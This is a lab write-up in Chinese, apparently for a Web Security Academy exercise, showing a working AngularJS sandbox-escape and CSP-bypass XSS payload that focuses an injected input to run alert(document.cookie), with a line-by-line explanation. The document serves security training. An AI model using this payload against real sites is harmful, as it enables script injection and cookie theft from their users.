# Cross-site scripting Lab26
本題是 AngularJS 沙箱逃逸 + CSP 繞過,呼叫alert(document.cookie)。
一樣先進入網站。

一樣寫一個 URL:
```url
<script>
location='https://0adb006303f2e4bd82fc0bad00e900af.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
```
1. `search=<input ...>`
利用 search 參數反射注入:
```
<input id=x ng-focus=...>
```
這會在網頁上建立一個 `<input>` 元素,並綁上 `ng-focus`,也就是當該元素取得 focus 時,會執行 AngularJS 表達式。
2. `ng-focus=$event.composedPath() | orderBy: '...'`
2-1. `$event.composedPath()` 在 Chrome 裡,這個會回傳觸發事件的元素路徑,最後一個元素是 window 物件。
2-2. `| orderBy: '(z=alert)(document.cookie)'`
AngularJS 的 orderBy 是 filter,可觸發 charAt()。
`z=alert`:是將 alert 指定給 z
`(z=alert)(document.cookie)`:等同於 `alert(document.cookie)`
這樣寫是因為 AngularJS 沙箱禁止使用 `window.alert(...)` 這類直球寫法,所以你用變數來繞過。
3. `#x` → 聚焦 `id=x` 的元素
當網頁載入並跳轉至 `#x`,會自動 focus `<input id="x">`
這會觸發 `ng-focus`,執行 payload。
:::info
### 繞過 CSP 怎麼辦到的?
CSP 阻擋 script 標籤裡的 inline JS(像是 `<script>alert()</script>`)
但 AngularJS 表達式是由框架自己解析執行的,所以 payload 是從屬性中觸發(ng-focus)→ 不是傳統 JS 途徑,因此繞過了 CSP。
:::


---